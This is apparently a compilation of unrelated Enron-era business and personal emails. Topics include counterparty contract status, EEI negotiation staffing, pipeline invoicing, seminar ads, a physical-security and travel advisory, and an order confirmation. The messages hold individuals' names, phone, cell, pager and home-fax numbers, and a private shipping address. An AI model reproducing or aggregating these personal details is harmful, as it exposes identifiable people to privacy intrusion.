I have reviewed the current contracts and deals in place with Constellation Energy Source, Inc. (CP ID 55358) and found that we have deals extending through 08/31/01.  However, the only current deals are with ICC Energy Corporation (an alternate payee under our contract with Constellation Energy Source, Inc. ).  There are NO current deals with Constellation Energy Source, Inc. at this time.

We currently have two master contracts in place as well as two spot GTCs.  I imagine that we will need to terminate all these agreements, but Legal is unaware of any changes with this counterparty.  Darren, can you please provide Stacy Dickson with the name of your contact at Constellation?  

We also do not have ANY master agreements in place with Constellation Power Source, Inc. - all business (telephonic and EOL) is being covered under GTCs.  Stacy or Debra, do we have any negotiations in place for a master under this name?  Darren, can you work with Stacy on this?

Please let me know if we need to terminate or trade suspend the Constellation Energy Source, Inc. agreements.

Thanks,
SBR x30569

Sent:	Tuesday, July 31, 2001 5:23 PM
To:	Johnson, Cheryl; Vanek, Darren
Cc:	Rodriguez, Bernice; Perlingiere, Debra; Anderson, Bridgette; Dickson, Stacy E.; Nemec, Gerald; Hernandez, Elizabeth L.
Subject:	RE: Constellation Energy Source, Inc., CP 55358

Cheryl,

Please do not suspend this CP until my group can review the current contracts in place and any deals that may have been covered by those contracts.  Bridgette Anderson will be looking at this once trading slows tomorrow.  We'll discuss it and get back with you tomorrow afternoon.

Has anyone in Legal heard anything on this?  

Thanks,
SBR x30569

From: 	Johnson, Cheryl  
Sent:	Monday, July 30, 2001 6:50 PM
To:	Richardson, Stacey; Vanek, Darren
Cc:	Rodriguez, Bernice
Subject:	Constellation Energy Source, Inc., CP 55358

Hi Stacey,

Got a request from Darren in Credit, to change the status of the subject CP to non-trading.  When I made the change, I got the edit that indicates that 8 contracts are still active on the record, and the maintenance group is HOUGAS.  Per Darren, all trades should be under CP ID 55134, i/no/ Constellation Power Source, Inc.  I just want to make sure those can be moved if the record is in a non-trading status.

This is also flagged for EES, should that link and retail flag be added to the Constellation Power Source record, even though it is not known to be one of EES's customers at this time, or at least it hasn't been flagged as such at this time?  I also went in to make that change, but since you are working on those contracts, I wanted to run it by you first.  

Cheryl Johnson
Enron Net Works
Global Data Management
713.853.3103

This is the first of several contracts I need you to alter to make specific 
between HPL and a third party counterpart, taking out the Enron and its 
affiliate spin.  Please forward your altered draft back to me when 
completed.  Send to SSchneider@aep.com with a copy to MLCarriere@aep.com.

Please be aware.  

Subject: Western Area Power Administration

Please note that the below-listed WAPA offices, which have previously been 
known under several names in our global counterparty database, will now be 
known as the names in red.

WAPA-Colorado River Storage Project Manangement Center (CRSP)  (This office 
is in Salt Lake City and was formerly known as Salt Lake City Area or Upper 
Colorado)

WAPA-Desert Southwest Region (This office is in Phoenix and was formerly know 
as Phoenix Area, or Lower Colorado)

WAPA-Rocky Mountain Region  (This office is in Loveland, Colorado and was 
formerly known as Loveland Area, Loveland-Fort Collins Area, and Lower 
Missouri)

WAPA-Upper Great Plains Region (This office is in Billings, MT, and was 
formerly known as Billings Area, Upper Missouri, and Pick-Sloan Missouri)

Looks good to me.

Taffy: Please put these on the calendar.

Sara Shackleton
10/21/99 03:58 PM
To: Mark Taylor/HOU/ECT@ECT
cc:  
Subject: "Ernie" seminars

I would like to sign up for the following presentations:

(1)  Power Marketing - Structuring Power Transactions on November 10 and 11
(2)  Fundamentals of Corporate Finance on  December 2

Please let me know.  Thanks.  Sara

thanks.  the letter is already out, but we will be accurate in follow up 
calls and in press interviews.

	Tim Belden@ECT
	10/31/2000 08:33 AM
		
		 To: Steven J Kean/NA/Enron@ENRON
		 cc: 
		 Subject: Re: Hoecker letter

I just noticed one minor error.  I think that you are trying to highlight 
that Terry Winter, the Chief Executive Officer of the ISO voted against the 
proposal.  In the text, you say the Chairman of the ISO.  There is no 
Chairman of the ISO.  There is a Chairman of the Board of the ISO -- Jan 
Smutney-Jones -- who has consistently voted against the price caps since 
June.  Sorry for the delay in getting back to you.

Dear Market Participant,

Technical Bulletin # 79 - Generator Committments Due to
24-hour NOx Averaging Requirements - is being distributed
for Market Participant  comment.  The Technical Bulletin will
be posted to the NYISO web site following the comment period.

The purpose of our Technical Bulletins is to facilitate participation
in the NYISO by communicating various NYISO concepts,
techniques, and processes to Market Participants before they
can be formally documented in a NYISO manual.

Please forward comments on this Technical Bulletin, via email,
by 5PM on Tuesday, October 2, 2001 to:

Peter Lemme
NYISO Customer Technical Services
plemme@nyiso.com

(See attached file: TB_79_draft.pdf)
 - TB_79_draft.pdf 

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The report named: East P/L Totals <http://trv.corp.enron.com/linkFromExcel.asp?report_cd=1&report_name=East+P/L+Totals&category_cd=1&category_name=EAST&toc_hide=1&sTV1=1&TV1Exp=Y&current_efct_date=10/04/2001>, published as of 10/04/2001 is now available for viewing on the website.

Dear Shirley
?
Further to our telephone conversation earlier  today, I am writing concerning 
the GARP 2001 Convention, which will be held in  New York between 13th and 
14th February.
?
I have set a new deadline for presentations to be  sent to me, which is 
Friday 5th January. I am sure you can appreciate that  collating, arranging, 
organising and printing over 80 presentations is a mammoth  logistical task, 
hence why I require the presentations as soon as  possible.
?
Can I please have an indication of when I am likely  to receive Vince's 
presentation? Below is the talk he has agreed to give (he has  also agreed to 
chair the stream on Energy & Corporate Risk on Tuesday 13th  February):
?
Measuring Energy Risk -  Tackling Price Volatility, Adapting VaR, Scenario 
Modeling and Regulatory  Requirements
- mean (or floor)  reversion

[IMAGE]	

The  challenge of modeling price dynamics in the energy markets	

 - bullit1.jpg

Vince,

Two items.  Unless you have an objection, I plan to ship the paper on to
Don Chew at the journal this morning.  We can still work on the article but
he needs something to begin the editing process.

Second, in the same issue as our paper will appear the transcript of a
roundtable discussion involving Sheridan titman, John McCormack (Stern
stewart), Ron Erd (Southern Energy), Jeff Sandifer (president of sandifer
capital--$700 million undermanagement), and Gene Humphries.  Attached you
will find a section THAT WILL NOT BE IN THE FINAL DOCUMENT, but that I
thought you might like to read in light of our own discussions over the
course of writing this paper.

Have a great day.

john

 - Interview_outtakes.doc

John D. Martin
Carr P. Collins Chair in Finance
Finance Department
Baylor University
PO Box 98004
Waco, TX 76798
254-710-4473 (Office)
254-710-1092 (Fax)
J_Martin@Baylor.edu
web:    http://hsb.baylor.edu/html/martinj/home.html  

The attached is a pretty decent summary of the recent U.S. Supreme Court's 
opinion on the Clean Water Act's juridictional reach to isolated waters.   
Thought it might be of interest to origination/developer type lawyers.

Steve
----- Forwarded by Steve Van Hooser/HOU/ECT on 01/18/2001 09:02 AM -----

	"Jack Mingus" <JBM@vnf.com>
	01/17/2001 08:03 AM
		 
		 To: undisclosed-recipients:;
		 cc: 
		 Subject: Analysis of the Supreme Court's January 9, 2001 SWANCC Decision

Attached is a brief memo prepared by Van Ness Feldman analyzing the U.S. 
Supreme Court's January 9, 2001 decision in the case of Solid Waste Agency of 
Northern Cook County v. U.S. Army Corps of Engineers (No. 99-1178 (U.S. 
January 9, 2001)).  By a vote of 5 to 4, the Court determined that "isolated" 
waters (often wetlands) are not subject to regulation under the Clean Water 
Act (and the Section 404 permitting program).  This decision has significant 
implications for anyone who is, or will be engaging in the construction of 
generating facilities, transmission lines, factories, houses, pipelines, or 
similar projects.

Van Ness Feldman will be providing our friends and clients with periodic 
updates on breaking legal and legislative activity throughout the remainder 
of 2001.  If you would like to be removed from this distribution list, please 
respond to this e-mail and let us know.

 - SWANCC.doc
 - SWANCC.wpd

Mark

I like the route of Thor runnig Europe out of Oslo.  Why don't you make that 
happen and pass on the guy from Aquila for now.

Give me a call if you agree.

Lavo

Master Netting Group:

I just want to personally thank all of you for all of your hard work the past few weeks in addressing our counterparties' requests for Master Netting Agreements.  We have been able to sign up a number of them as a result of your efforts and have managed to keep certain counterparties from cutting us off in trading.  	Thanks again for your efforts and for putting up with one fire drill after another!  Hopefully we all learned alot in the process.

Carol St. Clair
EB 4539
713-853-3989 (phone)
713-646-8537 (fax)
281-382-1943 (cell phone)
8774545506 (pager)
281-890-8862 (home fax)
carol.st.clair@enron.com

Elizabeth, 
Carol and I had a  conversation (with Justin Boose mostly listening in) about 
how best to coordinate her much welcomed support for West Desk EEI deals and 
out of that conversation I would like to propose that we send the following 
message to Tim and the Mid-Marketers.  The message is designed to enforce a 
kind of teamwork discipline and approach to EEI work that Steve, Justin and 
me have been developing here.  Obviously the message will not be sent until 
you and Carol are happy with it, and my suggestion is that you, Elizabeth, 
should send the message.  

Mid-Marketers:
The legal team supporting West Desk Trading has been strengthened by the 
addition of Carol St. Clair of ENA's Houston legal department.  Carol is 
going to concentrate on negotiating high priority EEI Agreements.  We are 
trying to build an improved process  for supporting EEI negotiations that 
involves a teamwork approach among a team of lawyers working together  along 
the following lines.  The idea is to create a steady processing of all EEI 
agreements at one level,  while at the same time,  having the flexibility to 
keep our most experienced trading attorneys working on our highest EEI 
priorities at any given time. The highest priority EEI agreements will be 
those where we are trying to get new, long term business. 

Justin Boose of Stoel Rives will have the responsibility to drive Stage 1 and 
Stage 2 of the EEI process. 

Stage 1 is all internal steps required to send a Cover Sheet including credit 
terms to the Counterparty.  These steps will involve getting the credit work 
sheet from Credit to our paralegal, Genia Fitzgerald and getting the Cover 
Sheet including the credit terms from Genia, proofreading it and identifying 
who to send it to.  

Stage 2 is harassing the Counterparty and, in cooperation with Mid-Marketers, 
getting the right people from the CP  to look at our Cover Sheet and reply 
with comments.  

Christian and Carol will be primarily responsible for Stage 3 of the EEI 
process, with Steve Hall also involved in this stage from time to time as 
other priorities may permit.  

Stage 3 is driving  the negotiations from the completion of Stage 2 to 
closing. 

Pat Boyston will be asked to join Stage 3 to help address all muni issues and 
to close out other issues as well from time to time.  Eventually Justin will 
grow into providing Stage 3 support. 

The critical credit liaison function will be made by the responsible attorney 
as the process moves to completion, with Legal taking the responsibility to 
drive the overall process to completion. 

We believe this kind of disciplined approach by this team should provide an 
enhanced level of support for EEI negotiations day in and day out if 
everybody recognizes   who is expected to do what during the three Stages. 
Christian has the responsibility to see that either he or Carol or Steve are 
concentrating on the highest priority EEI negotiations at any given time. 

Support for EEI negotiations is only part of the legal work that must be done 
for the West Desk and prioritizing the other work will be handled by 
Christian and Steve, working with me in Houston.  ----E. Sager.   

Dear Sir/Madam:

 Your flu vaccine has arrived. 

Please come to the Health Center (EB307) 
between the hours of 8:00 a.m. - 3:30 p.m. on Tuesday, December 5th  (or at 
your earliest convenience this week.)
Please be advised that the other persons on the waiting list will be notified 
in order via e-mail as more shipments of the vaccine arrive.  

Thank you in advance for your cooperation.

I forwarded your request to Luchas Johnson.  He runs the G-Daily-Est book.

DG    3-9573
---------------------- Forwarded by Darron C Giron/HOU/ECT on 12/08/2000 
11:56 AM ---------------------------
   
	From:  Darron C Giron                           12/08/2000 10:56 AM
	
To: Luchas Johnson/NA/Enron@Enron
cc:  
Subject: G-Daily-Est deals that need to be fixed

10:56 AM ---------------------------

Stacey Vallejo
12/08/2000 10:46 AM
To: Darron C Giron/HOU/ECT@ECT
cc:  

Hi again Darron

Here are some more deals that need to be flipped out of the G-DAILY-EST book,

QC3611.1
QC4110.1
QC4394.1
QC4496.1
QC4506.1

Can you please also go through this book to see if there are any more deals 
between ECC and another counterparty.  These need to be fixed right away this 
morning as I need to invoice and settle them today.  Please call me if you 
aren't the person who handles this book, and please forward this message on 
to the person who does.

Thanks for your help
Stacey

Please join me in congratulating Jenny Reed in her promotion to Admin II for 
the Consolidations group.
Jenny will be assuming responsibilities as our admin immediately.
We are all proud of her accomplishments and look forward to her continued 
success!

mhf

JULY 14                TECO TAP         10.000/ ENRON        60.000/ HPL IFERC
                               LS HPL KATY      30.000/ ENRON

JULY 15                  TECO TAP       10.000/ENRON          95.000/ HPL 
IFERC
                                 LS HPL KATY     30.000/ENRON

JULY 16                  TECO TAP        10.000/ENRON             55.000/ HPL
IFERC
                                   LS HPL KATY   30.000/ENRON

---------------------- Forwarded by Randall L Gay/HOU/ECT on 12/01/2000 09:43 

"Mark Hawkins" <mark.hawkins@southernunionco.com> on 12/01/2000 09:20:31 AM
Please respond to "Mark Hawkins" <mark.hawkins@southernunionco.com>
To: "Randy Gay" <randall.l.gay@enron.com>
cc:  
Subject: FW: San Juan Volumes

Randy,
Please submit a fixed price bid to purchase the following Blanco volumes:
Thanks,
Mark Hawkins
Mercado Gas Services
512-370-8225

Month of  Monthly
Delivery  Quantity
Jan-01  520,000
Feb-01  458,000
Mar-01  363,000
Apr-01  268,000
May-01  184,000
Jun-01  144,000
Jul-01  143,000
Aug-01  156,000
Sep-01  158,000
Oct-01  240,000
Nov-01  357,000
Dec-01  455,000
Jan-02  526,000
Feb-02  466,000
Mar-02  370,000
Apr-02  274,000
May-02  188,000
Jun-02  142,000
Jul-02  147,000
Aug-02  161,000
  5,720,000

Lee, 

Can you see me a Word (or WordPerfect) file for this letter?

Thanks,

Kay

lee.johnson@ss.ps.ge.com on 09/21/2000 03:25:34 PM
To: ben.f.jacoby@enron.com
cc: kay.mann@enron.com 

Subject: FW: Ben Jacoby Letter

From: Minter, Kimberly R (PS, SSEP)
Sent: Thursday, September 21, 2000 3:16 PM
To: Johnson, Lee L (PS, SSEP)
Subject: Ben Jacoby Letter

g            S&S Energy Products
_____________________________________

                                                           A GE Power
Systems Business
Kimberly Minter
Marketing Coordinator

2707 North Loop West, Houston, TX 77008
Phone: 713-803-0316
Fax: 713-869-8365

 - Ben Jacoby.pdf

Tom:

We would like to use the same format which was agreed to by ENA and CSFB.  That agreement was sent for execution on July 6, 2001 and we have never received an executed version.

Please feel free to contact Scott Kreuzinger (phone is 617-556-5730 or fax is 617-542-1814) to ensure that ENA has executed docs which can also be duplicated for ECI.  Perhaps your contact at CSFB can assist.  Scott Kreuzinger was ENA's contact for having docs executed.

We have been unable to extract any response from Scott Kreuzinger.

Thanks.

1400 Smith Street, EB3801a
Ph:  (713) 853-5620
Fax: (713) 646-3490

---------------------- Forwarded by Kevin Hyatt/ET&S/Enron on 08/02/2000 
03:24 PM ---------------------------

Michael Bodnar
08/02/2000 10:37 AM
To: Martha Cormier/ET&S/Enron@ENRON, Teresa McOmber/ET&S/Enron@ENRON, Beverly 
Miller/ET&S/Enron@ENRON, Cynthia Rivers/ET&S/Enron@ENRON, Darrell 
Schoolcraft/ET&S/Enron@ENRON, Linda Ward/ET&S/Enron@ENRON, Terry 
Galassini/ET&S/Enron@ENRON, Randy Janzen/ET&S/Enron@ENRON, Kevin 
Hyatt/ET&S/Enron@Enron, Jeffery Fawcett/ET&S/Enron@ENRON, Lorraine 
Lindberg/ET&S/Enron@ENRON, Lindy Donoho/ET&S/Enron@ENRON, Christine 
Stokes/ET&S/Enron@ENRON, Steven Harris/ET&S/Enron@ENRON, Albert 
Hernandez/ET&S/Enron@ENRON, Terry Kowalke/ET&S/Enron@ENRON, TK 
Lohman/ET&S/Enron@ENRON
cc: Kay Threet/ET&S/Enron@ENRON, Morgan Gottsponer/ET&S/Enron@ENRON 
Subject: CORRECTION to TW Park n Ride Invoice File - July 2000

The file sent out yesterday had several inconsistencies that were brought to 
my attention by Cynthia and Terry. 
The corrected billing is attached. I regret any inconvenience this may have 
caused.

Please note: 
A changed from previous billing file... USGT was charged 3 cents/d for stored 
quantities(The quantities stored from 7/25 -7/31 did not trigger the tiered 
rates). 
The daily rate was suspended  for gas day 7/01 thru 7/09 for both Duke Energy 
and Sempra due to the station 4 compressor outage.  Invoice amounts for these 
shippers reflect this adjustment.
Reliant (PO 27060) carryover quantity of 1,514 MMBtu from previous month - 
$1,362.60 (This qty remains from April business)
Sempra (PO 27255) carryover quantity of 6,000 MMBtu from previous mpnth - 
$5220.00 ( This qty was parked in June)

If you have any questions, please call me at  x36486.

---------------------- Forwarded by Michael Bodnar/ET&S/Enron on 08/02/2000 
10:11 AM ---------------------------

08/01/2000 12:38 PM

Subject: TW Park n Ride Invoice File - July 2000

Please find attached your July 2000 billing for park n ride.

From July 25th - 31st  a tiered rate structure was in place for USGT. The 
fees were; 3 cents/d on quantities of 0-30,000/d and  5 cents/d  on 
quantities greater than 30,000/d. The tier was applied to quantities stored 
by USGT at POI# 500622 on July 24th. 

From: ckwinter@deseretgt.com [mailto:ckwinter@deseretgt.com]
Sent: Friday, November 02, 2001 1:52 PM
To: Choi, Paul
Subject: Re: NYMEX

Paul,
Actually, we are interested in a straight monthly puts -- probably 25 MWs per month -- on our NYMEX position (i.e., at the money monthly strikes with put premium for year paid within first 3 business days after 1/1/2002.
Curt

>>> "Choi, Paul" <Paul.Choi@ENRON.com> 11/02/01 10:42AM >>>
Curt,

Are you interested in doing a similar structure for your NYMEX index
positions?  We can incorporate the unit contingent component into the
deal with how we did handled it in our previous transaction and also
enhance it by paying you the difference between DJ index and NYMEX for
when Bonanza goes down since you may be concerned that the NYMEX price
you are receiving will not match the market prices that you may have to
pay to replace the energy.  Give me a call to discuss this and I am
getting the ball rolling on getting you a copy of the ISDA.

Best Regards,

Paul Choi

This e-mail is the property of Enron Corp. and/or its relevant affiliate and may contain confidential and privileged material for the sole use of the intended recipient (s). Any review, use, distribution or disclosure by others is strictly prohibited. If you are not the intended recipient (or authorized to receive for the recipient), please contact the sender or reply to Enron Corp. at enron.messaging.administration@enron.com and delete all copies of the message. This e-mail (and any attachments hereto) are not intended to be an offer (or an acceptance) and do not create or evidence a binding and enforceable contract between Enron Corp. (or any of its affiliates) and the intended recipient or any other party, and may not be relied on by anyone as the basis of a contract by estoppel or otherwise. Thank you. 

Jack,
Did you send over your comments?  I have not received anything by fax or 
messenger and our business folks are anxious to move this forward.  Please 
let me know where things stand.  Thanks.

EB 3889
713-853-3989 (Phone)
713-646-3393 (Fax)

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May 1, 2001

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Andy:

Thanks for the quick response.  I will also be traveling later this week,
however, as always, I will be available by cell.  I will send you any
additional information from our side should it become available in the
interim!

Have a safe trip!

Chris

From: Andy.Zipper@enron.com [mailto:Andy.Zipper@enron.com]
Sent: Monday, January 29, 2001 7:18 PM
To: Chris Edmonds
Subject: Re: FW: Concerns with Status of Enron Integration Testing

Chris,
I have asked our team to review the document you sent me and to ascertain
what the hold up is. One thing that has been made clear to me is that we
were ready to begin testing a month ago and had to idle a group of folks
while your development team caught up. This has created a bit of a manpower
crunch for us but we will fix it. I will respond to you when I know more. I
am out of the office next two days but available on Thursday and Friday.

Andy

Just wanted to let you know that the fed cut ? point to bring the fed funds rate to 2%

Stephen M. Benotti
Financial Consultant
Emery Financial Group
713-853-2388 (Direct)
866-753-9556
713-853-2366 (Fax)
sbenott@firstunion1.com

---------------------- Forwarded by Donald M- ECT Origination Black/HOU/ECT 
on 03/08/2000 12:36 PM ---------------------------
From: Christopher Smith on 03/08/2000 07:37 AM
To: Donald M- ECT Origination Black/HOU/ECT@ECT
cc: Randy Petersen/HOU/ECT@ECT, William S Bradford/HOU/ECT@ECT 
Subject: TECO

Don, per your request attached is the model I created to value the 
transaction.  This model was created utilizing the Origination/Structuring 
model as a starting point.  I have used EPMI/ENA's power and fuel curves as 
opposed to the company's base case pricing scenario.  I have also used a 
mortgage style debt amortization based on $118MM of funded debt.  Attached is 
a memo that touches on the transaction, the value of the price risk 
management contracts, financial results, and some closing comments.  

Regards,

Christopher

Re: Russell Diamond's 5/5 e-mail, I am preparing a Master draft.

DP

Im doing great.  Its nice not having to work on Friday.
Weather is humid and cloudy.  It is suppoded to be hot this weekend.  Mid 80's most days.
I looked up the weather for Las Vegas also.  It should be perfect.
I hope the Aladdin has a nice pool area.  Think I will try and set up a massage for sometime Saturday.
We should try and run sometime Saturday?

I think Julie, Scott and I are on the same flight.
	Continental flight 1941  leaves Houston 3:40 Pm arrives las Vegas 4:54 PM.
If you do not want to wait I will meet you at the Hotel.  Carry your cell phone and I will call or you can call me!
	return flight 1930 leaves Las Vegas 11:43 AM  arrives Houston 4:49 PM

AC/DC isn't that a sexual conotation??????????????????????????????????
And why would that make your ears ring?  Im confused.

Be good and can't wait to see you on Friday!!!!!!!!!!!!!!!!!!!

	Swig

From: 	Legler, Michael   On Behalf Of Michael J Legler/HOU/ECT@ENRON
Sent:	Thursday, April 12, 2001 9:44 AM
To:	Schwieger, Jim
Subject:	Dude

Good morning!!

How are you today??
How's the weather??
Looks like vegas should be nice. 75 - 85 for highs.
Pretty much all of the snow from yesterday is melted away.

Are you on Continental tomorrow?? Let me know  the flight # and time.

We went to the AC/DC concert last night.....my ears are still ringing!!

Hope all is well.

Mike

Stephanie - I question whether your buy-out idea would fly.  The major thing that got the CPUC in the settlement was the recall rights of Block II which assured that the former PG&E customers would always have firm rights to cheap gas - at least for the term of the settlement.  Removing them would require a tariff change, and I can't see the CPUC agreeing.

From: 	Miller, Stephanie  
Sent:	Monday, July 30, 2001 2:24 PM
To:	Lawner, Leslie; Cantrell, Rebecca W.
Cc:	Tycholiz, Barry
Subject:	Turnback of EPNG Capacity
Sensitivity:	Confidential

I have had several conversations with EPNG about the possibility of ENA turning back capacity to satisfy 1) requests for new capacity in the Power Up 2000 project and 2) any possible capacity that EPNG may need to provide to satisfy incremental needs of full requirements customers as they convert billing determinants to Contract Demand quantities.

In order to preserve our position, should I send a formal letter to Al Clark stating our desire to turn the capacity back? The Power Up 2000 deadline is noon, Thursday, August 2, 2001. They did not provide for turn back in the posting that is currently on the capacity system. While we do not know how EPNG will be forced to resolve their capacity issues in the receipt point allocation proceeding, I believe that a letter can help us preserve our position should we choose to turn back capacity under either scenario.

We have approx. 54,000 of Block I and III capacity and 200,000 of Block III capacity. The Block II capacity is subject to PG&E recall - PG&E paid approx. $58 million for those recall rights in a settlement. Could EPNG pay a negotiated sum of money for the remaining value of the recall rights to fund the needs full requirement customers? I have to believe this option would be cheaper than adding new  capacity.

Leslie - could you help me with the letter?

Many thanks!

Stephanie

sorry for the delay-- I thought tuesday was bad for you so I have wednesday
at 10. if that doesnt work-- anytime tomorrow.
Sent: Tuesday, November 28, 2000 10:08 AM
To: mbergonia@edfman.com
Subject: Call

When do you want to have a call to discuss this ? I'd like to do something
sooner rather than later. I thought 10:00 today was scheduled but I could
have it wrong. Give me a call.

Thanks
Andy Zipper
(713) 853 6994

Could you confirm that you are covering our non-Houston based offices inclu=
ding but not limited to Portland, Chicago, San Francisco, Denver, New York.

Thanks

Louise

From: =09Luce, Laura =20
Sent:=09Wednesday, October 10, 2001 8:41 AM
To:=09Penman, Gregg; Tomaski, Richard
Cc:=09Kitchen, Louise
Subject:=09FW: Security Update

We need to create added measures in Chicago, especially with the wood doors=
.  We may want to require all non-badge entries be made on the other side. =
 Additionally, we need to keep some record of all visitors, their purpose, =
etc.

We can chat on this tonight, but please come up with some recommendations c=
onsistent with the attached.

Thanx,
Laura

From: =09Enron Announcements/Corp/Enron@ENRON   On Behalf Of Steve Kean@ENR=
ON
Sent:=09Tuesday, October 09, 2001 11:04 PM
To:=09All Enron Worldwide@ENRON
Subject:=09Security Update

Enron has been increasing security at its facilities around the world.  Som=
e of the changes took effect immediately (e.g. additional security personne=
l) and some are phasing in.  While not all of the changes will be visible, =
there are a few that will have an impact on everyday activities.  In all th=
e steps we take and recommendations we make, we will be making our faciliti=
es and systems more secure and endeavoring to increase your sense of securi=
ty, while doing our best to minimize disruption to our day-to-day business.

Primary responsibility for Enron Corp. Security resides in our business con=
trols organization.  You can contact this organization through their websit=
e (<http://home.enron.com/security>), by phone (713-345-2804), or by email =
(CorporateSecurity@enron.com <mailto:CorporateSecurity@enron.com>).  John B=
rindle, Senior Director, Business Controls, leads this organization.  Pleas=
e feel free to provide John and his team with your comments and questions, =
or to report security threats.

We have two areas to update you on:  changes in the access procedures for t=
he Enron Center Campus in Houston and changes to our travel advisory.

Access to the Enron Center

Over the next few days, the following access control procedures will be ins=
tituted at the Enron Center (and other facilities where practical):

?=09As employees swipe their badges at the card readers to enter the Enron =
Center, a guard will match the photo on the badge to the bearer.

?=09Employees and contractors who forget their badges must present a valid =
picture ID to obtain access to the Enron Center (U.S. driver's license, U.S=
. or foreign passport, or some form of U.S. federal, state or local identif=
ication).=20

?=09Visitors to the Enron Center must produce a valid photo ID when signing=
 in at the lobby reception desk and must completely fill out the visitor ca=
rd.  Adult visitors without a valid photo ID (U.S. driver's license, U.S. o=
r foreign passport, or some form of U.S. federal, state or local identifica=
tion) will not be allowed access to the Enron Center.

?=09Visitors to Enron facilities must be escorted by an Enron employee or b=
adged contractor at all times.

?=09Visitors to the Enron Center will be met in the lobby by an Enron emplo=
yee or badged contractor, signed into a visitor's log at the lobby receptio=
n area by the employee or badged contractor, and escorted to their appointm=
ent.  At the conclusion of the appointment, the visitor will be escorted to=
 the lobby by an employee or badged contractor, the visitor badge collected=
, and the visitor signed out in the log at the plaza reception area by the =
escorting employee or badged contractor.

?=09Employees are also being asked to participate in the security of their =
workplace by following these guidelines; report suspicious activity to Secu=
rity (phone 3-6300), do not open secured doors for individuals unknown to y=
ou or hold doors open, allowing "tail gating" by others.

These will be the first in a series of new security procedures to be instit=
uted at Enron.  We ask that all employees be patient during congested times=
 in the lobby.  As we proceed and obtain increased guard personnel and equi=
pment, we expect the inconvenience to decrease.  We hope you understand the=
se measures are being instituted for the security of all our employees. =09

Travel Advisory Update

With the beginning of retaliatory strikes, we have two important recommenda=
tions:

?=09While the retaliatory strikes are ongoing, corporate security recommend=
s that travel through or to the Middle East be avoided.  We continue to str=
ongly recommend that all travel during this time to Afghanistan, Yemen, Pak=
istan, Indonesia, Iran, Iraq, Sudan, Somalia, Tajikistan, Turkmenistan, Geo=
rgia, and the Kyrgyz Republic be canceled.  In addition, we recommend that =
planned travel to Egypt, Israel, Gaza/West Bank, Jordan, Lebanon, Saudi Ara=
bia, Syria, and Algeria be very carefully considered.

?=09For non-U.S. citizens traveling in the United States, corporate securit=
y recommends that you carry documentation.  There have been several recent =
reports of non-U.S. citizens who reside in the United States being question=
ed and asked for documentation when boarding U.S. domestic flights. As a re=
sult, we suggest that all non-U.S. citizens who currently reside in the Uni=
ted States - and who do not have Permanent Resident Alien status - carry th=
eir passport, Form I-94 and Form I-797 at all times.  We would also suggest=
 that Permanent Resident Aliens carry their Permanent Resident (Green) Card=
 as proof of their status as a precautionary measure.  It appears that Immi=
gration Officials may be applying a section of the Immigration and National=
ity Act that requires individuals over the age of 18 to carry his/her "regi=
stration" documentation with them at all times. This can include a Permanen=
t Resident Card, Form I-94 card, Employment Authorization Card, Border Cros=
sing Card, or a Temporary Resident Card. Immigration Officials have not his=
torically been asking domestic travelers for "registration" documentation, =
but in light of the heightened security measures and current atmosphere, it=
 would be best to be prepared with all of your documentation proving your c=
urrent lawful status.

We will keep you apprised of new information and developments on the Corpor=
ate Security website and by e-mail, as appropriate.

---------------------- Forwarded by Mike Carson/Corp/Enron on 12/01/2000 
01:00 PM ---------------------------

"JOYCE NESMITH" <J.NESMITH@prodigy.net> on 11/30/2000 04:44:29 PM
To: "Kenneth L. Nesmith" <KLNesmith@compuserve.com>
cc:  

Subject: ESPN GAME DAY

Yes, it's true!!!? ESPN gameday will be broadcast from Arrowhead on  Saturday
starting at 10:00am.? They will be in Lot D, on the southeast  corner of the
stadium.? Gates 1 and 2 will be opened at 8:30am giving  fans an opportunity
to be a part of the audience, for those of you who will  be going.

K-State holds the "Gameday" unofficial live audience  record, which the
Wildcats set this season as 15,587 fans were present at KSU  Stadium on Oct.
14 prior to the KSU/OU game.

GO  CATS!

Dear Valued Customer,

Thank you for your order!

Your order number is: 2497300447.

Below, you'll find additional order information. We'll let
you know by email as soon as your order items ship.

Shipment 1 -------------------------------------------------

Send to:

Cindy McGauley
15 Raffaela Drive
Malvern
Pennsylvania
19355

Item(s):

Alphabet Pal
1 @ $22.99
= $22.99

Translucent Keyboard
1 @ $59.99
= $59.99

Item(s) Subtotal = $82.98
Shipping Costs   = $6.00
Gift Options     = $5.00
Shipment 1 Total = $93.98

------------------------------------------------------------

Order Summary

Shipment 1 Total     = $93.98
Order Total          = $93.98

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service issues?

-- Check your order status online or view our Help section
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diana:
i look forward to speaking with you late today or monday.

Todd J. Goehring
Vice President, MRI Energy
1129 Broad Street, Suite 8
Shrewsbury, NJ  07702
tel: 732-578-0100 x105
fax: 732-578-1800
todd@mrienergy.com

The time is rapidly approaching for PGS Energy Training's
early November seminars in downtown Houston.

Please forward this information to any one you know
who might benefit from a better understanding of weather
risk, energy derivatives, electricity trading, real options or
gas-to-electricity arbitrage.  (See seminar list below.)

Our two featured seminars this week are PGS Energy Training's
"Fundamentals of Energy Derivatives" training program and the
"Managing Weather Risk with Weather Derivatives" seminar
which will be presented this November 8th by Dr. Geoffrey
Considine of e-Acumen - a leading authority in this field.
http://www.pgsenergy.com/schedule.html

Dr. Geoffrey Considine, is VP of Weather and Energy
Analytics for e-Acumen. Dr. Considine is a leading expert in
weather forecasting methodologies and the analytical aspects of
energy trading & weather derivatives. Recently the lead quantitative
analyst for Aquila's weather trading desk, Geoff is a well-recognized
figure in weather derivatives trading. He has extensive scientific and
industry credentials in analytical modeling, weather forecasting,
energy trading and weather derivatives.

For specific seminar dates, hotels and other information, call
412-279-9298 or visit  http://www.pgsenergy.com/schedule.html

Available seminars include:
  1) Fundamentals of Energy & Electricity Futures, Options
      & Derivatives
  2) Fundamentals of Electric Power Trading
  3) Gas-to-Electricity Arbitrage & How to Maximize the
      Profitability of Electric Generation Assets
  4) Fundamentals of Statistical Analysis
  5) How to Value Electric Generation Assets as Real Options
  6) Managing Weather Risk with Weather Derivatives

Save money by bringing a group of 4 or more. With a group
rate, your cost for our $1,295 seminars is reduced to $895 per
attendee-- a savings of $1,600 from our regular prices. The
group price for the $695 programs is $495.

John Adamiak
PGS Energy Training

I just wanted to pass along my thanks for the efforts of your team.  The 
automatic bridge to Sitara and Tagg will save us an extraordinary amount of 
time; especially during bidweek.  I know there are others who deserve thanks 
in addition to Dawn, so please let them know we appreciate their hard work as 
well.  I don't want to seem greedy, but I'll ask anyway.  When do you think 
we will be able to get the Sitara number entered in the Link field in Tagg?  
Also, can we get the Tagg number entered in SCI?  Thanks again.

DG    3-9573
